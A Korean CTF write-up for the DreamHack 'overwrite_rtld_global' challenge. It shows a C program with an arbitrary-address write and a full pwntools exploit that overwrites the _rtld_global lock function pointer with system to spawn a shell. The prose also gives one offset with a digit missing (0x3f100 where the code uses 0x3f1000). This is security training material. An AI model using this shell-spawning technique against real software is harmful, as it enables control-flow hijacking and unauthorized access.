본문 바로가기

CTF/Pwnable

[DreamHack] overwrite_rtld_global write-up

코드분석

// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c

#include <stdio.h>
#include <stdlib.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  long addr;
  long data;
  int idx;

  init();

  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        printf("data: ");
        scanf("%ld", &data);
        *(long long *)addr = data;
        break;
      default:
      	return 0;
    }
  }
  return 0;
}
    • stdout으로 라이브러리 주소 출력
    • 입력한 addr주소에 data 삽입 ⇒ 주소 쓰기 취약점

 

익스플로잇

라이브러리와 로더의 베이스 주소를 알아내보자 

vmmap명령어로 라이브러리인 libc-2.27.so가 매핑된 주소와 로더인 ld-2.27.so가 매핑된 베이스 주소를 알아낼 수 있음

강의자료처럼 entry -> vmmap 순으로 하면 실행이 안됨
starti명령어로 실행시키면 entry point주변에 bp가 걸려있는걸 확인할 수 있는데
c누른 후 vmmap치면 다음과 같이 뜬다 

 

각각  0x7ffff79e4000 0x7ffff7dd5000

 

두 주소의 차이는 0x3f100

 

이제 _rtld_global 구조체 주소를 구해보자 

ld addr + _rtld_global offset = _rtld_global addr
_rtld_global 구조체 내 멤버 변수의 오프셋을 알아내려면 구조체 이름 뿐만 아니라 그 안의 멤버 변수 정보까지 담고 있는 디버깅 심볼이 필요하므로 libc와 ld의 Glibc버전을 알아내고 해당 버전에 상응하는 디버깅 심볼을 다운받자 

2.27-3ubuntu1가 해당하는 Glibc의 상세 버전이다

 

다운로드 하는 명령어 

 $ wget http://launchpadlibrarian.net/365856914/libc6-dbg_2.27-3ubuntu1_amd64.deb

 

다운로드한 .deb 파일을 추출하여 현재 디렉토리에 저장

$ dpkg -x libc6-dbg_2.27-3ubuntu1_amd64.deb ./

 

usr/lib/debug/lib/x86_64-linux-gnu/ld-2.27.so 파일을 gdb로 열고 

_dl_load_lock과 _dl_rtld_lock_recursive 함수 포인터의 주소를 구해보자 

_rtld_global 구조체로부터 2312과 3840 뒤에 위치함

 

 

이제 _dl_rtld_lock_recursive를 라이브러리 함수 system으로 덮어쓰고, dl_load_lock 주소에 “sh” 또는 “/bin/sh” 문자열을 쓰면 셸을 획득할 수 있다 

 

익스플로잇 코드를 짜보자 

from pwn import *
p = process('./ow_rtld')
libc = ELF('./libc-2.27.so')
ld = ELF('./ld-2.27.so')
p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
print('libc_base..', hex(libc_base))
print('ld_base..', hex(ld_base))
rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
print('rtld_global..', hex(rtld_global))
print('dl_load_lock..', hex(dl_load_lock))
print('dl_rtld_lock_recursive..', hex(dl_rtld_lock_recursive))
system = libc_base + libc.symbols['system']
print('system..', hex(system))
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'addr: ', str(dl_load_lock).encode())
p.sendlineafter(b'data: ', str(u64('/bin/sh\x00')).encode())
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'addr: ', str(dl_rtld_lock_recursive).encode())
p.sendlineafter(b'data: ', str(system).encode())
p.sendlineafter(b'> ', b'2')
p.interactive()

 

 

flag가 나온다